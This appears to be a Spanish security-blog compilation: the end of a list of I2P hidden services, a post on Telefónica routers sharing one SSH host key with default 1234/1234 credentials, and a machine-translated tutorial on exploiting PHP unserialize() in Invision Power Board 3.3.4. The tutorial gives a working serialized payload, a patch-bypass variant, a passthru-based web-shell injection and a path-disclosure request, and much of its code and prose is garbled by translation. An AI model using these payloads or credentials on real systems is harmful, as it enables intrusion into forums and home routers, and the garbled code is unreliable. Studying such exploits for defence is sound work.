URL Base32: http://3mzmrus2oron5fxptw7hw2puho3bnqmw2hqy7nw64dsrrjwdilva.b32.i2p/

10. PasteThis

Servicio similar a PasteBin para I2P. Los textos compartidos pueden ser públicos o privados
URL I2P: http://pastethis.i2p
URL Base32: http://erkqiwnjl7vtysqd3wvddv6tfvnhswarqkbn4blhdlhfxn7cf2ha.b32.i2p/

11. Postman Tracker

Uno de los servicios más conocidos en I2P para subir ficheros torrent en I2P. Es importante tener en cuenta que es posible que algunos de los torrents que se encuentran almacenados, no tengan el contenido que dicen tener. Cuidado, te puedes llevar una sorpresa.
URL I2P: http://tracker2.postman.i2p/
URL Base32: http://ahsplxkbhemefwvvml7qovzl5a2b5xo5i7lyai7ntdunvcyfdtna.b32.i2p/

12. LaWiki

Una wiki en castellano muy completa sobre el uso de I2P y con explicaciones muy detalladas sobre privacidad, anonimato y cuestiones técnicas relacionadas con I2P, TOR, FreeNet, etc. Se recomienda su lectura!
URL I2P: http://lawiki.i2p
URL Base32: ddwc3z7tm6yuvh4mzmqne2ifn7qglbz73zyqxtkewlpzl7kpmqzq.b32.i2p

13. Killyourtv

Se trata de un blog con información técnica bastante útil. Encontraras varios manuales y servicios interesantes. Además, incluye una de las mejores guías que he visto sobre Tahoe, algo de lo que hablaré en un próximo articulo.
URL I2P: http://killyourtv.i2p/
URL Base32: http://aululz24ugumppq56jsaw3d7mkbmcgo7dl2lgeanvpniyk2cbrda.b32.i2p/

14. Shadowlife

Un blog de opinión sobre temas relacionados con anonimato y privacidad. Hace algún tiempo leí algunos artículos sobre anonimato online y offline que me parecieron interesantes, seguramente a ti también.
URL I2P: http://shadowlife.i2p
URL Base32: http://jme44x4m5k3ikzwk3sopi6huyp5qsqzr27plno2ds65cl4nv2b4a.b32.i2p

15. ZeroBin

Similar a PasteThis, pero permite publicar mensajes de forma privada y con una fecha de caducidad. Además tiene la opción de que se auto-destruya después de que el mensaje es leído.
URL I2P: http://zerobin.i2p
URL Base32: http://3564erslxzaoucqasxsjerk4jz2xril7j2cbzd4p7flpb4ut67hq.b32.i2p/

16. Syndie

Syndie es un sistema para la creación y gestión de foros descentralizados en I2P. Es muy popular entre los usuarios.
URL I2P: http://www.syndie.i2p
URL Base32: http://7lm3yzpuejhpl4tt4l7o4ndqlu7hgijohofh7oaydx7q7kelenbq.b32.i2p

17. Postman

Servicio en I2P para crear cuentas de correo electrónico de forma anónima. Es probablemente el servicio más conocido en I2P para este tipo de tareas. Una cuenta en Postman puede ser utilizada en cualquier cliente de I2P para recepción y envío de mensajes de correo electrónico. Fijaros en la sección “Pages” a la derecha, allí se encuentran todas las opciones disponibles en Postman.
URL I2P: http://hq.postman.i2p
URL Base32: http://27ivgyi2xhbwjyqmnx3ufjvc2slg6mv7767hxct74cfwzksjemaq.b32.i2p

18. I2P Find

Del mismo modo que existe el servicio TORFind para la búsqueda de servicios ocultos en TOR, I2PFind es un servicio que permite buscar servicios ocultos en I2P y/o en TOR. Además, cualquiera puede registrar su propio dominio I2P para que sea indexado por el motor de búsqueda.
URL I2P: http://i2pfind.i2p
URL Base32: http://cgkswg5iezxdvfds2p5lgvhfhvd6sv3r72yioarywnwgmiazbw3q.b32.i2p/

19. Ihave2P

Se trata de un sitio oculto que ofrece varios tipos de servicios, como por ejemplo un pastebin con cifrado y mi favorito, servidores proxy del tipo http/https/socks a la clearnet por medio de TOR y/o I2P. Este último en concreto, se encuentra disponible en una dirección distinta (http://ihave2proxy.i2phttp://ginbb7blr6rvgfkuyx7435rakosdilzeduklygrkwaw3dwduntcq.b32.i2p/).
URL I2P: http://ihave2p.i2p
URL Base32: http://s6npkh5hzslijnzohm2om32un4sh4r2urp6hry2fya6oo55ehcyq.b32.i2p/

20. Torrent Finder

Buscador de Torrents en la web profunda de I2P.
URL I2P: http://torrentfinder.i2p
URL Base32: http://mpc73okj7wq2xl6clofl64cn6v7vrvhpmi6d524nrsvbeuvjxalq.b32.i2p/
Una lista de 20 servicios ocultos (eepsites) en I2P que espero que te ayuden a perder el miedo a navegar por este tipo de redes y encontrar cosas (legales) que sean de tu interés.
Un saludo y Happy Hack!
Adastra.

Fuente: http://thehackerway.com/2015/02/05/20-eepsites-en-la-web-profunda-de-i2p-que-te-podrian-interesar/

miércoles, 18 de febrero de 2015

Casi 250.000 routers de Telefónica en España son vulnerables porque tienen las mismas claves SSH

Hoy en el blog de Shodan leía una interesante entrada de John Matherly en el que, mediante el siguiente script, observaba que en Internet existen numerosos fingerprints SSH duplicados:

import shodan

api = shodan.Shodan(YOUR_API_KEY)

# Get the top 1,000 duplicated SSH fingerprints
results = api.count('port:22', facets=[('ssh.fingerprint', 1000)])

for facet in results['facets']['ssh.fingerprint']:
    print '%s --> %s' % (facet['value'], facet['count'])

Realmente esto no es nada nuevo ya que desde hace unos cuantos años se sabe que algunos fabricantes comenten el error de no borrar las claves SSH antes de salvar (y luego distribuir) la imagen de los firmwares de sus dispositivos embebidos, que luego no regeneran las claves en el primer boot. Incluso hay proyectos que recopilan las claves duplicadas: https://code.google.com/p/littleblackbox/.

Pero lo sorprendente es que hay un fingerprint que se repite en un país y con un proveedor en gran número con respecto al resto:

https://www.shodan.io/search?query=fingerprint




Se trata de España y de Telefónica que distribuye casi 250.000 routers para fibras domésticas o FFTH modelo Comtrend VG-8050 con un firmware que contiene un servidor SSH ligero (dropbear 0.46) con las mismas claves ssh:

SSH-2.0-dropbear_0.46
Key type: ssh-rsa
Key: AAAAB3NzaC1yc2EAAAADAQABAAAAgwCKj10BLi11/oSbukFArKJZTXvBvw+AUGfie6fdE7psCNwC
LM5bYnJgjQZMP/VOhJkxkA539e2mM4fW9U4ECAUwgvlF9AZGhcmn0kF0jIjMUDgCV8kFIS85OuBU
/ayyswdYp6bxp3zn0tGAh0Ty8ikf7CgWU5c+PCbpygbBxMDfZM9P
Fingerprint: dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0

Esto significa que hay casi 250.000 usuarios en España que son vulnerables. Muchos de ellos corren por defecto ssh con las credenciales también por defecto 1234/1234 (estos directamente están jodidos vendidos) y todos ellos son susceptibles a ataques MiTM en el que cualquiera podría descifrar sus comunicaciones.

 
El firmware vulnerable es (al menos) el SB01-S412TLF-C07_R03 de 2014 y, que yo sepa, la última versión es la C08_R08. Así que si eres usuario de Telefónica pregunten a su soporte Movistar y ¡actualicen!


Fuente: http://www.hackplayers.com/2015/02/250k-routers-de-telefonica-mismas-claves-ssh.html

La explotación de los insectos exóticos: unserialize el Post

Escribiendo Exploits Para las clases de bichos exóticos:
unserialize ()

Tyler Borland (TurboBorland)

Intro ¿Cansado de los mismos artículos de re-hash en la explotación de las inyecciones SQL, XSS, XSRF, Inclusión, desbordamientos básicos, y más del archivo? Soy, por lo que empecé a escribir el material más interesante. Esto comenzó con “Aplicaciones Explotando Modern espacio de usuario de Linux”. Un cuento en pasar por modernos explotar mitigaciones y aventuras reales en el mundo x64 sin apagar ASLR. Ahora estoy aquí para presentar una serie llamada “Los exploits de escritura para las clases de bichos exóticos”. Esta será aventuras en la explotación de las clases de errores comunes que no se habla con tanta frecuencia. Ellos serán co-presentado con exploits para aplicaciones modernas (2012-2013), asumiendo posiblemente 0 días posibilidades legales con un determinado proveedor, una más fácil de consumir de diapositivas y, como siempre, una pitón en armas explotan. Disfrute!
Parte 1.) unserialize
La primera parte de esta serie será en la escritura de exploits para unserialize () vulnerabilidades en PHP. Esta clase de errores es realmente el bebé de Stefan Esser y un montón de trabajo preliminar se ha cubierto desde 2009 por él y su obra “Noticias impactantes en PHP Explotación”. Sin más preámbulos, vamos a entrar en ella.
Qué es Serialize y unserialize?
Serialize () genera una representación de cadena de valores de PHP. Se utiliza para almacenar o pasar alrededor de estos valores para su uso posterior. Serialize maneja todos los valores PHP a excepción de los recursos (referencias a recursos externos). Por otro lado, unserialize () toma esta cadena y se recuperan los valores de PHP.
El tema y la Advertencia
unserialize () experimenta problemas de inyección controlados por el usuario típico tanto como SQLi y XSS. En la página unserialize, vemos la advertencia:
“no pasan la entrada del usuario no es de confianza para unserialize () Unserialization puede resultar en código que se carga y se ejecuta debido a la creación de instancias de objetos y carga automática de clases, y un usuario malicioso. puede ser capaz de explotar esta …. “
Aprendizaje Explotación The Hard Way: Abusar Aplicaciones Reales
A fin de orientar adecuadamente a alguien a través explotación, necesitaremos una vulnerabilidad real en un escenario realista. Para ello, vamos a echar un vistazo a Invision Power Board 3.3.4. De acuerdo con CVE-2012-5692, 3.1.x Invision Power Board a 3.3.4 incluido es vulnerable a un unserialize controlada por el usuario () string. La descripción sobre la vulnerabilidad en http://secunia.com/advisories/51104 es:
“La vulnerabilidad es causada debido a la admin / fuentes / base / script core.php utilizando el” unserialize ( ) “la función con entrada controlada por el usuario. Esto puede ser explotado para por ejemplo crear un archivo de caché con código PHP arbitrario a través del” __destruct () “método de la” dbMain () “clase a través de un objeto serializado especialmente diseñado enviado en un” Cookie ” encabezado.
Una explotación exitosa puede permitir la ejecución de código arbitrario, pero requiere el “short_open_tag” habilitado “.
Por el momento esto se hace, usted debe conseguir un verdadero ejemplo de por qué usted no debe tomar «restricciones» impuestas al corazón.
La vulnerabilidad
Vamos a encontrar la vulnerabilidad en admin / fuentes / base / core.php comenzando en clase IPSCookie, public function get () , a partir de la línea 4012:
 
 static public function get ($  name)  [1]  
 
 {/ * Comprobar los datos internos primero * / 
 if (isset (self :: $  _cookiesSet [$  nombre])) {
 de retorno automático /> 
 
 else if (isset ($  _COOKIE [ipsRegistry :: $  ajustes ['cookie_id']. $  name]))  [2]  
 
 {$  _Value = $  _COOKIE [ipsRegistry :: $  ajustes ['cookie_id'] $  name];  [3]  
 
 if (substr ($  _Value, 0, 2) == 'a:').  [ 4]  
 
 {volver unserialize (stripslashes (UrlDecode ($  _Value)));  [5]  
} 
 demás 
 {
 volver IPSText :: parseCleanValue (urldecode ($  _Value));} 
 
} 
 
 
 else {return false; 
}} 
 
 
La función get ($ name) en [1] consigue un valor de la cookie de nombre dado $ . Se comprueba en [2] para ver si la cookie existe, a continuación, establecer como $ _Value en [3]. Si la cookie comienza con un: (array serializado) en [4] se UrlDecode (), stripslashes () y unserialize los $ _Value en [5].
The Path Vulnerable
Ahora tenemos que saber lo que se requiere para llegar a la ruta de acceso vulnerables y activar la vulnerabilidad. Para ello tendremos que buscar el código para encontrar lo que alcanza IPSCookie :: get. Grep simple viene al rescate aquí:.
Grep IPSCookie :: get-r /
Hay tranquila algunas entradas aquí con uno de mencionar los valores de cookie directamente controladas:
 
 admin / fuentes / classes / session / publicSessions.php: 341 
 $  cookies ['session_id'] = IPSCookie :: get ('session_id'); 
 $  cookies ['member_id'] = IPSCookie :: get ('member_id'); 
 $  cookies ['pass_hash'] = IPSCookie :: get ('pass_hash'); 
 
Si usted lee a través de este archivo (y dada el nombre del archivo), encontramos esta se ejecuta en la clase __ constructo y se activa en la construcción de cualquier usuario y sesión de invitado. Esto significa que no se requiere inicio de sesión y la construcción de una sesión de invitado se disparará el camino a nuestra vulnerabilidad.
Entendiendo el Serialized Cadena
Cuando se busca inicialmente en una cadena serializada de PHP o cualquier forma serializados, las cosas se ven completamente extraño. Sin embargo, es un formato muy fácil cuando usted entiende exactamente lo que está pasando. Cuando enviamos nuestra carga útil, se ve como:
a%3A1%3A%7BO%3A15%3A%22db_driver_mysql%22%3A1%3A%7Bs%3A3%3A%22obj%22%3Ba%3A2%3A%7Bs%3A13%3A%22use_debug_log%22%3Bi%3A1%3Bs%3A9%3A%22debug_log%22%3Bs%3A12%3A%22initdata.php%22%3B%7D%7D%7D
Después de que el proceso de decodificación URL:
a:1:{O:15:”db_driver_mysql”:1:{s:3:”obj”;a:2:{s:13:”use_debug_log”;i:1;s:9:”debug_log”;s:12:”initdata.php”;}}}
Así que esto plantea la cuestión de qué es exactamente lo que está pasando aquí? Al mirar de nuevo en php.net / serializar el primer comentario revela lo que algunos de estos valores significa:

 usuario: egingell en sisna punto com 
 / * 
 Anatomía de un serialize () "valor ed: 
 
 
 Cadena s: tamaño: valor; 
 
 
 Entero i: valor, 
 
 Boolean 
 b: valor, (no almacena "verdadero" o "falso", hace store '1 'o '0') 
 
 
 Null N; 
 
 Array 
 a: size: {definición de la clave, la definición de valor; (repetido por elemento)} 
 
 
 O Objeto: strlen (nombre del objeto): Nombre del objeto: el tamaño del objeto : {: strlen (nombre de la propiedad): nombre de la propiedad: s de definición de la propiedad; (repetido por propiedad)} Los valores de cadena 
 
 siempre entre comillas dobles 
 claves de matrices son siempre números enteros o cadenas 
 "null => 'valor'" equivale a 's: 0: ""; s: 5: "valor", "
" true =>' valor '"equivale a' i: 1; s : 5: "valor", "
" false => 'valor' "equivale a 'i: 0; s: 5:" valor "," 
 "array (sea cual sea el contenido) = > 'valor' "equivale a una" advertencia de tipo de desplazamiento ilegal "porque no se puede utilizar una matriz /> 
 
 y de intentar usar un objeto como clave resultará en el mismo comportamiento que el uso de una matriz se 
. * / 
 
Con este entendimiento, vamos a romper aparte la carga útil de la explotación:
 
 a: 1: {| matriz con un elemento 
 O: 15: "db_driver_mysql ": 1: {| Referencia, 15 caracteres de longitud, el nombre" db_driver_mysql ", tiene una propiedad 
 s: 3:" obj "; | Cadena, 3 caracteres de longitud, el valor" obj "
 a: 2 : {| matriz con dos elementos 
 s: 13: "use_debug_log"; | Cadena, 13 caracteres de longitud, el valor 
 i: 1; | Valor entero de 1 
 s: 9 
 s |; "debug_log": 12: "initdata.php";}}} | Cadena, 12 caracteres de longitud, el valor "initdata.php", dos arreglos finales y un objeto 
 
Esto debería ser suficiente para comprender los valores de la cadena serializada.
Deeper mirada en proceso PHP unserialize
¿Qué pasa con lo que no se menciona en el comentario anterior? Echando un vistazo al código fuente php en ext / standard / var_unserializer.c en el php_var_unserialize (función) a partir de la línea 476:
 
 interruptor (yych) {case /> 
 caso 'O': yy13 Goto; 
 caso 'N': yy5 Goto; 
 case 'R': YY2 Goto; 
 case 'S': Ir yy10; 
 case 'a': yy11 Goto; 
 caso 'b': YY6 Goto; 
 caso 'd': YY8 Goto; 
 case 'i': yy7 Goto; 
 caso ' o ': YY12 Goto; 
 case' r ': yy4 Goto; 
 caso' s ': yy9 Goto; 
 caso'} ': Ir yy14; 
 defecto: Goto yy16 ; 
 
Comparando esto con el comentario anterior, hay algunos que no fueron mencionados y un par de carcasas adicionales. Para ahorrarles el laberinto Goto (termina a yy98), se puede ver en la versión de los proyectos de php.js unserialize para algunos de estos valores extra. A pesar de que no tiene todo lo que, sin duda es más fácil de seguir algunos de la lógica más confuso en la fuente de php. http://phpjs.org/functions/unserialize/
Así que lo que tenemos de que no fue mencionado en el sitio php.net?
 caso 
 'O': | O: puede ser seguido por un + con O: + 
 case 'R': | R: #, que se utiliza como Número de referencia (diversión con referencia a sí misma) caso /> 
 ONRS tienen cada uno las formas mayúsculas y minúsculas 
 
Nuevo en PHP: Automatizado de Ataque
Con una sólida comprensión del formato serializado PHP, vamos a ver que la advertencia de nuevo:
“Unserialization puede resultar en código que se carga y se ejecuta debido a la creación de instancias de objetos y carga automática”
Así que ahora que definir algunas cosas. Instanciación es cuando una clase se convierte en un objeto mediante la creación de una instancia de la clase en la memoria. Por eso, cuando en realidad se llama nueva clase (), clase () es ahora un objeto instanciado.
La carga automática es donde la verdadera bestia entra en juego. Esto permite a un desarrollador para llamar objetos instanciados desde cualquier ubicación. Este nació de estilo OOP de PHP. Al permitir que este formato de carga automática, el desarrollador no está obligado a requerir (_once) / include () _once varias bibliotecas en todas las páginas que podrían ser necesarios. En su lugar, usted amarra una página a autoload estos objetos y utilizarlos a su antojo. Hay funciones que le permiten carga automática de forma manual y los que lo hará de forma automática. Tenga en cuenta que esto puede llevar a vulnerabilidades en sí mismos.
Como desarrollador, puede usar la función mágica __ autoload o uso spl_autoload_register manualmente las bibliotecas de carga automática. Para obtener más información sobre estas funciones y cómo usarlos visite http://php-autoloader.malkusch.de/en/.
Un poco más interesante es la cantidad de funciones que iniciará el cargador automático para usted. Estas funciones son:
 
 call_user_func () 
 call_user_func_array () 
 class_exists () 
 class_implements () 
 class_parents () 
 class_uses () 
 get_class_methods () 
 get_class_vars () 
 get_parent_class () 
 interface_exists () 
 is_a () 
 is_callable () 
 is_subclass_of () 
 method_exists () 
 property_exists () 
 spl_autoload_call () 
 trait_exists () 
 
Como se ha dicho, estos pueden introducir vulnerabilidades en sí y por sí mismos. Para obtener más información sobre esta investigación y donde esta lista fue retirado, por favor visite http://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection/.
Tomando ventaja de “Magic”
magos Alright, ahora debería entender la mayor parte de la cuestión. Sin embargo, el proceso unserialization sólo convierte una cadena serializada en valores de PHP. No se puede llamar necesariamente funciona para usar estos valores, a menos unserialize_callback_func se establece. Todavía son pocos los valores, así que ¿cómo podemos tomar ventaja de estos valores? Abusamos de algo que se llama funciones mágicas.
funciones mágicas son funciones que se ejecutan automáticamente cuando ciertos eventos / acciones suceden. Esto nos permite ir a una función con nuestros valores PHP actuales. Echando un vistazo a http://php.net/manual/en/language.oop5.magic.php debería ver una buena lista de funciones mágicas. Estos son __ construct (), __ destruct (), __ call (), __ callStatic (), __ get (), __ set (), __ isset (), __ unset (), __ sleep (), __ wakeup (), __ toString (), __ invoke (), __set_state () y __ clone (). Así que cuando hacen estos se llaman?
 
 __construct () 
 se llama cuando se crea una nueva  objeto . 
 __destruct () 
 Se llama cuando no hay más referencias a un oponerse o cuando un objeto se destruye manualmente. Además, cuando termina la secuencia de comandos, todos los destructores son llamados. Esto se conoce aún si se le dio la salida () / salida, a menos que se le da en el interior del destructor 
 
 sucede cuando se intenta invocar un método inaccesible en un contexto del objeto 
 Ex..: $  obj = newMethod, $  obj-> inaccesible (); 
 __callStatic () 
 Igual __ call, pero en un contexto estático 
 Ex:. Método :: inaccesible (); 
 __get () 
 Se activa al escribir datos en propiedades inaccesibles. 
 __set () 
 Se activa cuando la lectura de datos de propiedades inaccesibles. 
 __isset () 
 Cuando isset () o empty () es llamado en las propiedades inaccesibles. 
 __unset () 
 Cuando unset () se utiliza en las propiedades inaccesibles. 
 __sleep () 
 Esta función se ejecuta antes de la serialización de dar tiempo extra para terminar los valores posiblemente pendientes a serializar. Por lo general, sólo devuelve una matriz de nombres de variable para el objeto. 
 __wakeup () 
 Unserialize () activa este para permitir la reconstrucción de los recursos que se utilizarán en conjunción con o necesario para los valores de PHP decodificados de vuelta. 
 __toString () 
 Esto desencadena cuando tratas a una clase como una cadena. Antes de PHP 5.2.0 sólo echo o print podría desencadenar este. Ahora puede suceder en cualquier contexto cadena como printf 
 Ex:.. Echo $  clase; 
 __invoke () 
 Hit cuando se trata de llamar a un objeto como una función 
 Ex: $  la clase ("hola"); 
 __set_state) 
 Cuando una clase es exportado por var_export, este se ejecuta (. Esto sólo contendrá un array de las propiedades de la clase exportados. 
 __clone () 
 La función corrió al clonar un objeto. 
 
Como se ve, la mayoría de ellos son llamados en el acceso no válido temas y están hechos para ser utilizados para solucionar los problemas de acceso. Teniendo en cuenta que, sí tenemos un poco de magia de utilidad genérica de revisar primero. Eso es __ wakeup y __ destruct.

La función mágico __ wakeup () es, de nuevo, que se llama cuando unserialize () es llamado. Se puede utilizar para establecer y llamar a las funciones de iniciación para los valores de PHP. Según http://www.php.net/manual/en/language.oop5.magic.php # object.wakeup:

"La intención de __ wakeup () es reestablecer cualquier conexión a base de datos que puede haber perdido durante la serialización y ejecutar otras tareas de reinicialización. "
 
 public function __ wakeup () {
 
 $  this-> connect ();} 
 
 
 ... private function connect () 
 
 {$  this-> enlace = mysql_connect ($  this-> servidor, $  this-> nombre de usuario, $  this-> contraseña); 
 mysql_select_db ($  this-> db, $  this -> enlace);} 
 
 
Este estilo podría darnos algunas opciones, pero ¿qué pasa __ destruct? La función mágica __ destruct () se puede utilizar para fijar y registrar datos interesantes (como las excepciones hayan sido capturados y que expidan un destructor para registrar los datos de los malos). Esto también es probable que los datos guardados de limpieza como la eliminación de archivos de registro (unset ($ archivo)).
Además de las funciones mágicas genéricamente útiles, podría haber problemas relacionados específicos de vulnerabilidad que pueden ampliar la cantidad de funciones mágicas utilizables. Un estudio de caso con un formato de presentación para un problema de este tipo puede verse en http://prezi.com/5hif_vurb56p/php-object-injection-revisited/.
Encontrar a la magia
Con nuestro conocimiento de mágico delicioso funciones, ahora de encontrar uno al abuso. Para ello es necesario conocer la superficie de ataque. Aparte del código fuente del producto, lo que los marcos son utilizados por el servidor web, cualquier plugins adicionales / complementos de segunda mano, el software conjuntamente, y etc se acaba de quedar pegadas con el código fuente Invision Power Board por ahora, pero es bueno saber ¿qué otra cosa puede ser (ab) usa.
Con el código IPB funciones útiles y grep fácilmente disponibles, lo mágicas están disponibles para nosotros? Un simple grep __ magia-r. / Funcionará por ahora. Obviamente, mejor grep de una sola línea se pueden hacer para eliminar las entradas inútiles, comentarios, expresiones regulares para todas las funciones de magia y mucho más. Entonces, ¿qué tenemos que ver contigo código IPB?
 
 ips_kernel / classXmlRpc.php 
 xml_parser_free ($  this-> parser); 
 ips_kernel / classImageImagemagick.php 
 if (is_file ($  this-> temp_file)) { @ unlink ($  this-> temp_file);. 
 * Con esto, tenemos la capacidad de eliminar un archivo arbitrario dentro del contexto correspondiente permiso 
 ips_kernel / classEmail.php 
 if ($  this- > mail_method == 'smtp') {$  this-> _smtpDisconnect (); 
 ips_kernel / classFtp.php 
 @ ftp_close ($  this-> stream); 
 admin / fuentes / classes / salida / publicOutput.php 
 if (($  get_class este)! = 'output') {return 
 * Esto devolverá el nombre de la clase. 
 admin / sources / loginauth / ldap / auth.php 
 if ($  this-> connection_id) {ldap_unbind ($  this-> connection_id); 
 ips_kernel / classDb.php 
 public function __ destruct () {
 
 $  this-> return_die = true; 
 if (count ($  this-> obj ['shutdown_queries'])) {
 
 foreach ($  this-> obj ['shutdown_queries' ] as $  q) 
 
 {$  this-> query ($  q);} 
 
 
} $  this-> writeDebugLog ('{end}', '',''); 
 $  this-> obj ['shutdown_queries'] = array (); 
 $  this-> Desconectar ();} 
 
 
Aparte de ser sólo capaz de eliminar un archivo arbitrario, ips_kernel / classDb.php tiene una interesante __ destruct. Dependiendo de la etapa de cierre, la función de consulta () con control $ q está disponible. WriteDebugLog suena como una función interesante, vamos a ver un poco de ese código relevante:
 
 ips_kernel / classDb.php: 
 writeDebugLog función pública ($  consulta, $  data, $  tiempo del fin, $  fileToWrite = ' ', $  Backtrace = FALSO) 
 
 {$  fileToWrite = ($  fileToWrite)? $  FileToWrite: $  this-> obj ['debug_log']; 
 
 ... else if ($  consulta == '{end}' AND ($  this-> obj ['use_debug_log'] Y $  this-> obj ['debug_log'])) {
 
 $  _string = " n ======================= ================================================== ===== ";. 
 $  _string ="  n ========================= FIN ====== ============================= ";. 
 $  _string ="  n ======== ================= ". $  _SERVER ['PHP_SELF']. "?" . $  _SERVER ['QUERY_STRING']. "===================================";. 
 $  _string = " N = ================================================== =========================== ";} 
 
 
 ... if ($  _string Y $  FH = @ fopen ($  fileToWrite, 'a')) {
 
 @ fwrite ($  FH, $  _string); 
 @ fclose ($  FH);} 
 
 
Esto se ve mejor y mejor! Con nuestra capacidad de controlar los valores de PHP, causar una función mágica __ destruct, parece que tenemos un nombre de fichero controlada y una escritura semi-controlado ($ _SERVER ['QUERY_STRING']).
poner las piezas juntas
Por lo tanto, es esta carga automáticamente y podemos llegar al destructor? Vamos a seguir el flujo:

 index.php /> 
 IpsRegistry.php require_once /> 
 $  classname = "db_driver_". $  Db_driver; 
 self :: $  dbObjects [$  clave] = new $  classname; 
 * En este punto, db_driver_mysql ahora se crea una instancia y un objeto disponible 
 
 ClassDbmysql.php. require_once (dirname (__ FILE__) '/ classDb.php'.); 
 * Ahora classDb clases están disponibles por la clase instanciada antes 
 
¡Consigamos de serie.!
Ahora que sabemos que la vulnerabilidad, cómo llegar a la ruta de acceso vulnerables a desencadenar la vulnerabilidad, lo que abusar, y cómo funciona todo en conjunto, sólo tenemos que construir la carga útil serializado. Vamos a hacer eso ahora.
En primer lugar, el código fuente IPB tiene un requisito que debe ser llenado. Si recuerdas el código de la vulnerabilidad, hay un cheque por la cadena a empezar con una matriz:
if (substr ($ _Value, 0, 2) == 'a:')
punto de partida lo suficientemente simple, a: 1: {.
db_driver_mysql es el objeto con instancias que eventualmente llega a dbMain por su destrucción. __ Vamos a llenar en el que el valor del objeto. a: 1: {O: 15: "db_driver_mysql": 1: {.
Con el fin de concretar nuestro nombre controlado y escritura semi-controlado, necesitamos $ obj y una serie de dos elementos. Uno a booleano permite use_debug_log y otro para establecer debug_log nombre del archivo:
 
 $  fileToWrite = ($  fileToWrite)? $  FileToWrite: $  this-> obj ['debug_log']; 
 ($  this-> obj ['use_debug_log'] Y $  this-> obj ['debug_log']) 
a:1:{O:15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:6:"hi.php";}}}
blues hacer parches
Un parche fue lanzado por IPB más tarde para incluir una comprobación de expresiones regulares extra en el objeto serializado controlada. Este cheque fue:
else if (preg_match ('/ (^ |, | {|}) O: [0-9] + "/"!, $ Serializado))
Si recuerda bien, cuando se busca profundizar en el proceso de unserialize PHP, O:.. no tiene que ser seguido sólo por un número puede ir seguido de un + El nuevo exploit para eludir este parche es una cambio de carácter:
a:1:{O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:6:"hi.php";}}}
tapón de la demostración locura
Con nuestro payload listo, ¿qué es lo que escribimos y qué es lo que escribimos? La combinación de $ _SERVER ['QUERY_STRING '] con los signos de igual circundantes en la cadena semi-controlado presenta un tapón de la demostración molesto para un gran control $ _SERVER [.' QUERY_STRING '] muere en los espacios en blanco de estos caracteres, de acuerdo a recortar (página), son:.
 
 "" (ASCII 32 (0x20)), un espacio en blanco. 
 " t" (ASCII 9 (0x09)), una ficha. 
 " n" (ASCII 10 ( 0x0A)), una nueva línea (salto de línea). 
 " r" (ASCII 13 (0x0D)), un retorno de carro. 
 "" (ASCII 0 (0x00)), el NUL bytes . 
 " x0B" (ASCII 11 (0x0B)), una pestaña vertical. 
 
Los signos igual son la siguiente etapa para destruir lo que podría haber sido una hermosa bestia. Con un entorno controlado nombre de archivo para fopen (), se podría potencialmente abusar de filtros de secuencia para descodificar los datos codificados y moverse por la necesidad de espacio. Eche un vistazo a los filtros de conversión a los http://php.net/manual/en/filters.convert.php para más información . Por supuesto, ambos mueren con signos iguales salvajes. convert.base64-decode morirá cuando un signo de igualdad está en el medio de la cadena. Luego, convert.quoted-printable-decode morirá cuando un signo igual no se sigue por una representación hexadecimal. Así == hará que se muera. Aunque line-break-chars podría ser el salvador de la inyección, que no era capaz de conseguir que funcione con los flujos dados.
pegándolo a la demostración tapón />
A pesar de los problemas antes mencionados, todavía hay mucho espacio para maniobrar. A medida que el asesor indicó, las inyecciones de etiquetas cortas son posibles. Así que este trabajará:
<$ cmd = passthru (base64_decode ($ _GET ['cmd']));?>
Si bien esto está activado por defecto en php . ini dado el código fuente php, mi prueba del servidor de Windows XAMPP tenía discapacitados. Además, siempre es bueno encontrar una solución más universal en el caso de que llegue el momento.
He intentado varias inyecciones con comentarios. Para ejemplo comenzando un comentario como
Podríamos hacer del sistema operativo inyecciones dependientes. La escritura se puede dar la ruta completa y anexar datos fuera de Webroot y podríamos añadir o crear scripts de shell / lote contextualmente al nivel de permiso de servidor . Escriba a un script de inicio / reinicio y pisar la caja con una mala anexados. Estos scripts ignorarán los caracteres como comandos no válidos y podríamos simplemente envolver los comandos como $ (ls) en linux. Sin embargo, una vez más esto no es realmente amable y queremos una solución más universal.
Después de una lluvia de ideas con DiabloHorn y haciendo todo tipo de cosas estúpidas, que hemos llegado a una solución! A partir de PHP 5.4.0, lanzado marzo de 2012 (después de la vulnerabilidad descubierta . finales de 2012), algo emocionante fue lanzado acuerdo con la lista de cambios en http://php.net/ChangeLog-5.php, hay una línea de salvador:
"<= es ahora siempre disponible? ., independientemente del ajuste short_open_tag "
Así que incluso si short_tag_open no se ha habilitado en php.ini, todavía podemos crear una inyección que no requiere espacios, por ejemplo:

<= $ cmd = passthru (base64_decode ($ _GET ['cmd']));???>
Otras posibilidades de inyección
Como hay que mencionar, todavía existe la posibilidad de que el servidor utilizando el Zend Framework, o al menos una parte importante de la misma. Este es el más universalmente conocido de-facto __ estilo destrucción de carga útil a todos copiar + pegar de. Esto incluye Metasploit , VUPEN, Inmunidad, y muchas hazañas unserialize en la naturaleza que no sólo eliminar archivos arbitrarios. Aprovecha objeto Zend_Pdf_ElementFactory_Proxy de Zend Framework y es ciertamente poderoso y temible. No hay razón para regurgitar cómo funciona, incluso si pudiera de alguna manera explicar mejor que la presentación de Esser A estas alturas ya debería ser capaz de seguir adelante sin ningún problema por favor lea lo siguiente si usted está interesado:..
http://www.suspekt.org/downloads/POC2009- ShockingNewsInPHPExploitation.pdf
Para poder utilizar este exploit, se requiere una ruta completa donde para crear el archivo. Esto significa que se necesita una divulgación ruta completa. Normalmente esto no es un problema, y ​​con nuestra actual Control unserialize, no es un problema aquí.
He encontrado un FPD con sólo jugar con arrays (varias funciones no esperan una matriz) y dentro de un minuto apareció cabo una FPD. Lo que sigue es una forma para obtener la ruta completa:
index.php aplicación [] = miembros & module = sección y perfil = dname & id = 1 Warning: trim () espera parámetro de 1 a ser cadena, matriz dada en C: xampp-portátiles htdocs invision admin sources base ipsRegistry.php on line 1774 />
Incluso sin un FPD personalizado (o se signatured más adelante, cuando esta se libera), entre nuestro controlada $ _SERVER [' .. QUERY_STRING '] y el signo de igualdad es un espacio único Inyectando sólo un
Cuando todo falla
